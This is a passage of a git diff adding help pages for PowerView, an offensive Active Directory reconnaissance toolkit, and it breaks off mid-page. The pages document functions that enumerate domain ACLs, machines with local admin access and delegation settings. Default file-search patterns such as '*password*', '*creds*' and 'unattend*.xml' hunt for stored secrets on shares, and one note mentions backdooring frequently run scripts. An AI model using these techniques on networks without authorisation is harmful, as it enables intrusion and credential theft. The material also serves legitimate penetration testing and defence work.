+and for each returned ACE entry it checks if principal security identifier +is *-1000 (meaning the account is not built in), and also checks if the rights for +the ACE mean the object can be modified by the principal. +If these conditions are met, +then the security identifier SID is translated, the domain object is retrieved, and +additional IdentityReference* information is appended to the output object. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Find-InterestingDomainAcl +``` + +Finds interesting object ACLS in the current domain. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Find-InterestingDomainAcl -Domain dev.testlab.local -ResolveGUIDs +``` + +Finds interesting object ACLS in the ev.testlab.local domain and +resolves rights GUIDs to display names. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-InterestingDomainAcl -Credential $Cred -ResolveGUIDs + +## PARAMETERS + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainName, Name + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -ResolveGUIDs +Switch. +Resolve GUIDs to their display names. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -RightsFilter +{{Fill RightsFilter Description}} + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAPFilter +Specifies an LDAP query string that is used to filter Active Directory objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.ACL + +Custom PSObject with ACL entries. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Find-InterestingDomainShareFile.md b/docs/Recon/Find-InterestingDomainShareFile.md new file mode 100755 index 0000000..511510f --- /dev/null +++ b/docs/Recon/Find-InterestingDomainShareFile.md @@ -0,0 +1,463 @@ +# Find-InterestingDomainShareFile + +## SYNOPSIS +Searches for files matching specific criteria on readable shares +in the domain. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetShare, Find-InterestingFile, New-ThreadedFunction + +## SYNTAX + +### FileSpecification (Default) +``` +Find-InterestingDomainShareFile [[-ComputerName] ] [-ComputerDomain ] + [-ComputerLDAPFilter ] [-ComputerSearchBase ] [-ComputerOperatingSystem ] + [-ComputerServicePack ] [-ComputerSiteName ] [-Include ] [-SharePath ] + [-ExcludedShares ] [-LastAccessTime ] [-LastWriteTime ] + [-CreationTime ] [-Server ] [-SearchScope ] [-ResultPageSize ] + [-ServerTimeLimit ] [-Tombstone] [-Credential ] [-Delay ] [-Jitter ] + [-Threads ] +``` + +### OfficeDocs +``` +Find-InterestingDomainShareFile [[-ComputerName] ] [-ComputerDomain ] + [-ComputerLDAPFilter ] [-ComputerSearchBase ] [-ComputerOperatingSystem ] + [-ComputerServicePack ] [-ComputerSiteName ] [-SharePath ] + [-ExcludedShares ] [-OfficeDocs] [-Server ] [-SearchScope ] + [-ResultPageSize ] [-ServerTimeLimit ] [-Tombstone] [-Credential ] + [-Delay ] [-Jitter ] [-Threads ] +``` + +### FreshEXEs +``` +Find-InterestingDomainShareFile [[-ComputerName] ] [-ComputerDomain ] + [-ComputerLDAPFilter ] [-ComputerSearchBase ] [-ComputerOperatingSystem ] + [-ComputerServicePack ] [-ComputerSiteName ] [-SharePath ] + [-ExcludedShares ] [-FreshEXEs] [-Server ] [-SearchScope ] [-ResultPageSize ] + [-ServerTimeLimit ] [-Tombstone] [-Credential ] [-Delay ] [-Jitter ] + [-Threads ] +``` + +## DESCRIPTION +This function enumerates all machines on the current (or specified) domain +using Get-DomainComputer, and enumerates the available shares for each +machine with Get-NetShare. +It will then use Find-InterestingFile on each +readhable share, searching for files marching specific criteria. +If -Credential +is passed, then Invoke-UserImpersonation is used to impersonate the specified +user before enumeration, reverting after with Invoke-RevertToSelf. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Find-InterestingDomainShareFile +``` + +Finds 'interesting' files on the current domain. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Find-InterestingDomainShareFile -ComputerName @('windows1.testlab.local','windows2.testlab.local') +``` + +Finds 'interesting' files on readable shares on the specified systems. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('DEV\dfm.a', $SecPassword) +Find-DomainShare -Domain testlab.local -Credential $Cred + +Searches interesting files in the testlab.local domain using the specified alternate credentials. + +## PARAMETERS + +### -ComputerName +Specifies an array of one or more hosts to enumerate, passable on the pipeline. +If -ComputerName is not passed, the default behavior is to enumerate all machines +in the domain returned by Get-DomainComputer. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: DNSHostName + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -ComputerDomain +Specifies the domain to query for computers, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerLDAPFilter +Specifies an LDAP query string that is used to search for computer objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerSearchBase +Specifies the LDAP source to search through for computers, +e.g. +"LDAP://OU=secret,DC=testlab,DC=local". +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerOperatingSystem +Search computers with a specific operating system, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: OperatingSystem + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerServicePack +Search computers with a specific service pack, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ServicePack + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerSiteName +Search computers in the specific AD Site name, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: SiteName + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Include +Only return files/folders that match the specified array of strings, +i.e. +@(*.doc*, *.xls*, *.ppt*) + +```yaml +Type: String[] +Parameter Sets: FileSpecification +Aliases: SearchTerms, Terms + +Required: False +Position: Named +Default value: @('*password*', '*sensitive*', '*admin*', '*login*', '*secret*', 'unattend*.xml', '*.vmdk', '*creds*', '*credential*', '*.config') +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SharePath +Specifies one or more specific share paths to search, in the form \\\\COMPUTER\Share + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: Share + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ExcludedShares +Specifies share paths to exclude, default of C$, Admin$, Print$, IPC$. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: @('C$', 'Admin$', 'Print$', 'IPC$') +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LastAccessTime +Only return files with a LastAccessTime greater than this date value. + +```yaml +Type: DateTime +Parameter Sets: FileSpecification +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LastWriteTime +Only return files with a LastWriteTime greater than this date value. + +```yaml +Type: DateTime +Parameter Sets: FileSpecification +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -CreationTime +Only return files with a CreationTime greater than this date value. + +```yaml +Type: DateTime +Parameter Sets: FileSpecification +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -OfficeDocs +Switch. +Search for office documents (*.doc*, *.xls*, *.ppt*) + +```yaml +Type: SwitchParameter +Parameter Sets: OfficeDocs +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -FreshEXEs +Switch. +Find .EXEs accessed within the last 7 days. + +```yaml +Type: SwitchParameter +Parameter Sets: FreshEXEs +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain and target systems. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Delay +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Jitter +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 + +```yaml +Type: Double +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0.3 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Threads +The number of threads to use for user searching, defaults to 20. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 20 +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.FoundFile + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Find-InterestingFile.md b/docs/Recon/Find-InterestingFile.md new file mode 100755 index 0000000..2fe6abf --- /dev/null +++ b/docs/Recon/Find-InterestingFile.md @@ -0,0 +1,248 @@ +# Find-InterestingFile + +## SYNOPSIS +Searches for files on the given path that match a series of specified criteria. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection + +## SYNTAX + +### FileSpecification (Default) +``` +Find-InterestingFile [[-Path] ] [-Include ] [-LastAccessTime ] + [-LastWriteTime ] [-CreationTime ] [-ExcludeFolders] [-ExcludeHidden] [-CheckWriteAccess] + [-Credential ] +``` + +### OfficeDocs +``` +Find-InterestingFile [[-Path] ] [-OfficeDocs] [-CheckWriteAccess] [-Credential ] +``` + +### FreshEXEs +``` +Find-InterestingFile [[-Path] ] [-FreshEXEs] [-CheckWriteAccess] [-Credential ] +``` + +## DESCRIPTION +This function recursively searches a given UNC path for files with +specific keywords in the name (default of pass, sensitive, secret, admin, +login and unattend*.xml). +By default, hidden files/folders are included +in search results. +If -Credential is passed, Add-RemoteConnection/Remove-RemoteConnection +is used to temporarily map the remote share. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Find-InterestingFile -Path "C:\Backup\" +``` + +Returns any files on the local path C:\Backup\ that have the default +search term set in the title. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Find-InterestingFile -Path "\\WINDOWS7\Users\" -LastAccessTime (Get-Date).AddDays(-7) +``` + +Returns any files on the remote path \\\\WINDOWS7\Users\ that have the default +search term set in the title and were accessed within the last week. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-InterestingFile -Credential $Cred -Path "\\\\PRIMARY.testlab.local\C$\Temp\" + +## PARAMETERS + +### -Path +UNC/local path to recursively search. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: 1 +Default value: .\ +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Include +Only return files/folders that match the specified array of strings, +i.e. +@(*.doc*, *.xls*, *.ppt*) + +```yaml +Type: String[] +Parameter Sets: FileSpecification +Aliases: SearchTerms, Terms + +Required: False +Position: Named +Default value: @('*password*', '*sensitive*', '*admin*', '*login*', '*secret*', 'unattend*.xml', '*.vmdk', '*creds*', '*credential*', '*.config') +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LastAccessTime +Only return files with a LastAccessTime greater than this date value. + +```yaml +Type: DateTime +Parameter Sets: FileSpecification +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LastWriteTime +Only return files with a LastWriteTime greater than this date value. + +```yaml +Type: DateTime +Parameter Sets: FileSpecification +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -CreationTime +Only return files with a CreationTime greater than this date value. + +```yaml +Type: DateTime +Parameter Sets: FileSpecification +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -OfficeDocs +Switch. +Search for office documents (*.doc*, *.xls*, *.ppt*) + +```yaml +Type: SwitchParameter +Parameter Sets: OfficeDocs +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -FreshEXEs +Switch. +Find .EXEs accessed within the last 7 days. + +```yaml +Type: SwitchParameter +Parameter Sets: FreshEXEs +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ExcludeFolders +Switch. +Exclude folders from the search results. + +```yaml +Type: SwitchParameter +Parameter Sets: FileSpecification +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ExcludeHidden +Switch. +Exclude hidden files and folders from the search results. + +```yaml +Type: SwitchParameter +Parameter Sets: FileSpecification +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -CheckWriteAccess +Switch. +Only returns files the current user has write access to. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +to connect to remote systems for file enumeration. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.FoundFile + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Find-LocalAdminAccess.md b/docs/Recon/Find-LocalAdminAccess.md new file mode 100755 index 0000000..f3e3b6f --- /dev/null +++ b/docs/Recon/Find-LocalAdminAccess.md @@ -0,0 +1,337 @@ +# Find-LocalAdminAccess + +## SYNOPSIS +Finds machines on the local domain where the current user has local administrator access. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Test-AdminAccess, New-ThreadedFunction + +## SYNTAX + +``` +Find-LocalAdminAccess [[-ComputerName] ] [-ComputerDomain ] [-ComputerLDAPFilter ] + [-ComputerSearchBase ] [-ComputerOperatingSystem ] [-ComputerServicePack ] + [-ComputerSiteName ] [-CheckShareAccess] [-Server ] [-SearchScope ] + [-ResultPageSize ] [-ServerTimeLimit ] [-Tombstone] [-Credential ] + [-Delay ] [-Jitter ] [-Threads ] +``` + +## DESCRIPTION +This function enumerates all machines on the current (or specified) domain +using Get-DomainComputer, and for each computer it checks if the current user +has local administrator access using Test-AdminAccess. +If -Credential is passed, +then Invoke-UserImpersonation is used to impersonate the specified user +before enumeration, reverting after with Invoke-RevertToSelf. + +Idea adapted from the local_admin_search_enum post module in Metasploit written by: + 'Brandon McCann "zeknox" \' + 'Thomas McCarthy "smilingraccoon" \' + 'Royce Davis "r3dy" \' + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Find-LocalAdminAccess +``` + +Finds machines in the current domain the current user has admin access to. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Find-LocalAdminAccess -Domain dev.testlab.local +``` + +Finds machines in the dev.testlab.local domain the current user has admin access to. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-LocalAdminAccess -Domain testlab.local -Credential $Cred + +Finds machines in the testlab.local domain that the user with the specified -Credential +has admin access to. + +## PARAMETERS + +### -ComputerName +Specifies an array of one or more hosts to enumerate, passable on the pipeline. +If -ComputerName is not passed, the default behavior is to enumerate all machines +in the domain returned by Get-DomainComputer. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: DNSHostName + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -ComputerDomain +Specifies the domain to query for computers, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerLDAPFilter +Specifies an LDAP query string that is used to search for computer objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerSearchBase +Specifies the LDAP source to search through for computers, +e.g. +"LDAP://OU=secret,DC=testlab,DC=local". +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerOperatingSystem +Search computers with a specific operating system, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: OperatingSystem + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerServicePack +Search computers with a specific service pack, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ServicePack + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerSiteName +Search computers in the specific AD Site name, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: SiteName + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -CheckShareAccess +Switch. +Only display found shares that the local user has access to. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain and target systems. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Delay +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Jitter +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 + +```yaml +Type: Double +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0.3 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Threads +The number of threads to use for user searching, defaults to 20. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 20 +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### String + +Computer dnshostnames the current user has administrative access to. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Get-ComputerDetails.md b/docs/Recon/Get-ComputerDetails.md new file mode 100755 index 0000000..6bc3e91 --- /dev/null +++ b/docs/Recon/Get-ComputerDetails.md @@ -0,0 +1,68 @@ +# Get-ComputerDetails + +## SYNOPSIS +This script is used to get useful information from a computer. + +Function: Get-ComputerDetails +Author: Joe Bialek, Twitter: @JosephBialek +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +``` +Get-ComputerDetails [-ToString] +``` + +## DESCRIPTION +This script is used to get useful information from a computer. +Currently, the script gets the following information: +-Explicit Credential Logons (Event ID 4648) +-Logon events (Event ID 4624) +-AppLocker logs to find what processes are created +-PowerShell logs to find PowerShell scripts which have been executed +-RDP Client Saved Servers, which indicates what servers the user typically RDP's in to + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-ComputerDetails +``` + +Gets information about the computer and outputs it as PowerShell objects. + +Get-ComputerDetails -ToString +Gets information about the computer and outputs it as raw text. + +## PARAMETERS + +### -ToString +Switch: Outputs the data as text instead of objects, good if you are using this script through a backdoor. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: 1 +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES +This script is useful for fingerprinting a server to see who connects to this server (from where), and where users on this server connect to. +You can also use it to find Powershell scripts and executables which are typically run, and then use this to backdoor those files. + +## RELATED LINKS + +[Blog: http://clymb3r.wordpress.com/ +Github repo: https://github.com/clymb3r/PowerShell](Blog: http://clymb3r.wordpress.com/ +Github repo: https://github.com/clymb3r/PowerShell) + diff --git a/docs/Recon/Get-Domain.md b/docs/Recon/Get-Domain.md new file mode 100755 index 0000000..aa8098c --- /dev/null +++ b/docs/Recon/Get-Domain.md @@ -0,0 +1,81 @@ +# Get-Domain + +## SYNOPSIS +Returns the domain object for the current (or specified) domain. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +## SYNTAX + +``` +Get-Domain [[-Domain] ] [-Credential ] +``` + +## DESCRIPTION +Returns a System.DirectoryServices.ActiveDirectory.Domain object for the current +domain or the domain specified with -Domain X. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-Domain -Domain testlab.local +``` + +### -------------------------- EXAMPLE 2 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-Domain -Credential $Cred + +## PARAMETERS + +### -Domain +Specifies the domain name to query for, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByValue) +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### System.DirectoryServices.ActiveDirectory.Domain + +A complex .NET domain object. + +## NOTES + +## RELATED LINKS + +[http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG](http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG) + diff --git a/docs/Recon/Get-DomainComputer.md b/docs/Recon/Get-DomainComputer.md new file mode 100755 index 0000000..562f769 --- /dev/null +++ b/docs/Recon/Get-DomainComputer.md @@ -0,0 +1,426 @@ +# Get-DomainComputer + +## SYNOPSIS +Return all computers or specific computer objects in AD. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty + +## SYNTAX + +``` +Get-DomainComputer [[-Identity] ] [-Unconstrained] [-TrustedToAuth] [-Printers] [-SPN ] + [-OperatingSystem ] [-ServicePack ] [-SiteName ] [-Ping] [-Domain ] + [-LDAPFilter ] [-Properties ] [-SearchBase ] [-Server ] + [-SearchScope ] [-ResultPageSize ] [-ServerTimeLimit ] [-SecurityMasks ] + [-Tombstone] [-FindOne] [-Credential ] [-Raw] +``` + +## DESCRIPTION +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. +To only return specific properies, use +"-Properties samaccountname,usnchanged,...". +By default, all computer objects for +the current domain are returned. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-DomainComputer +``` + +Returns the current computers in current domain. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Get-DomainComputer -SPN mssql* -Domain testlab.local +``` + +Returns all MS SQL servers in the testlab.local domain. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-DomainComputer -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" -Unconstrained +``` + +Search the specified OU for computeres that allow unconstrained delegation. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainComputer -Credential $Cred + +## PARAMETERS + +### -Identity +A SamAccountName (e.g. +WINDOWS10$), DistinguishedName (e.g. +CN=WINDOWS10,CN=Computers,DC=testlab,DC=local), +SID (e.g. +S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. +4f16b6bc-7010-4cbf-b628-f3cfe20f6994), +or a dns host name (e.g. +windows10.testlab.local). +Wildcards accepted. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: SamAccountName, Name, DNSHostName + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Unconstrained +Switch. +Return computer objects that 